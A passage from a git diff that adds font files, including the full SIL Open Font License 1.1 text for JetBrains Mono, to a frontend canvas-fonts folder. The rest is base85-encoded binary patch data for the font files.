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 Gg#QgEZP9c9 literal 0 HcmV?d00001 diff --git a/skills/frontend-dev/canvas-fonts/JetBrainsMono-OFL.txt b/skills/frontend-dev/canvas-fonts/JetBrainsMono-OFL.txt new file mode 100644 index 0000000..5ceee00 --- /dev/null +++ b/skills/frontend-dev/canvas-fonts/JetBrainsMono-OFL.txt @@ -0,0 +1,93 @@ +Copyright 2020 The JetBrains Mono Project Authors (https://github.com/JetBrains/JetBrainsMono) + +This Font Software is licensed under the SIL Open Font License, Version 1.1. +This license is copied below, and is also available with a FAQ at: +https://openfontlicense.org + + +----------------------------------------------------------- +SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007 +----------------------------------------------------------- + +PREAMBLE +The goals of the Open Font License (OFL) are to stimulate worldwide +development of collaborative font projects, to support the font creation +efforts of academic and linguistic communities, and to provide a free and +open framework in which fonts may be shared and improved in partnership +with others. + +The OFL allows the licensed fonts to be used, studied, modified and +redistributed freely as long as they are not sold by themselves. The +fonts, including any derivative works, can be bundled, embedded, +redistributed and/or sold with any software provided that any reserved +names are not used by derivative works. The fonts and derivatives, +however, cannot be released under any other type of license. The +requirement for fonts to remain under this license does not apply +to any document created using the fonts or their derivatives. + +DEFINITIONS +"Font Software" refers to the set of files released by the Copyright +Holder(s) under this license and clearly marked as such. This may +include source files, build scripts and documentation. + +"Reserved Font Name" refers to any names specified as such after the +copyright statement(s). + +"Original Version" refers to the collection of Font Software components as +distributed by the Copyright Holder(s). + +"Modified Version" refers to any derivative made by adding to, deleting, +or substituting -- in part or in whole -- any of the components of the +Original Version, by changing formats or by porting the Font Software to a +new environment. + +"Author" refers to any designer, engineer, programmer, technical +writer or other person who contributed to the Font Software. + +PERMISSION & CONDITIONS +Permission is hereby granted, free of charge, to any person obtaining +a copy of the Font Software, to use, study, copy, merge, embed, modify, +redistribute, and sell modified and unmodified copies of the Font +Software, subject to the following conditions: + +1) Neither the Font Software nor any of its individual components, +in Original or Modified Versions, may be sold by itself. + +2) Original or Modified Versions of the Font Software may be bundled, +redistributed and/or sold with any software, provided that each copy +contains the above copyright notice and this license. These can be +included either as stand-alone text files, human-readable headers or +in the appropriate machine-readable metadata fields within text or +binary files as long as those fields can be easily viewed by the user. + +3) No Modified Version of the Font Software may use the Reserved Font +Name(s) unless explicit written permission is granted by the corresponding +Copyright Holder. This restriction only applies to the primary font name as +presented to the users. + +4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font +Software shall not be used to promote, endorse or advertise any +Modified Version, except to acknowledge the contribution(s) of the +Copyright Holder(s) and the Author(s) or with their explicit written +permission. + +5) The Font Software, modified or unmodified, in part or in whole, +must be distributed entirely under this license, and must not be +distributed under any other license. The requirement for fonts to +remain under this license does not apply to any document created +using the Font Software. + +TERMINATION +This license becomes null and void if any of the above conditions are +not met. + +DISCLAIMER +THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT +OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE +COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL +DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM +OTHER DEALINGS IN THE FONT SOFTWARE. diff --git a/skills/frontend-dev/canvas-fonts/JetBrainsMono-Regular.ttf b/skills/frontend-dev/canvas-fonts/JetBrainsMono-Regular.ttf new file mode 100644 index 0000000000000000000000000000000000000000..436c982ff3209357305892181e61565d1e01d439 GIT binary patch literal 114904 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 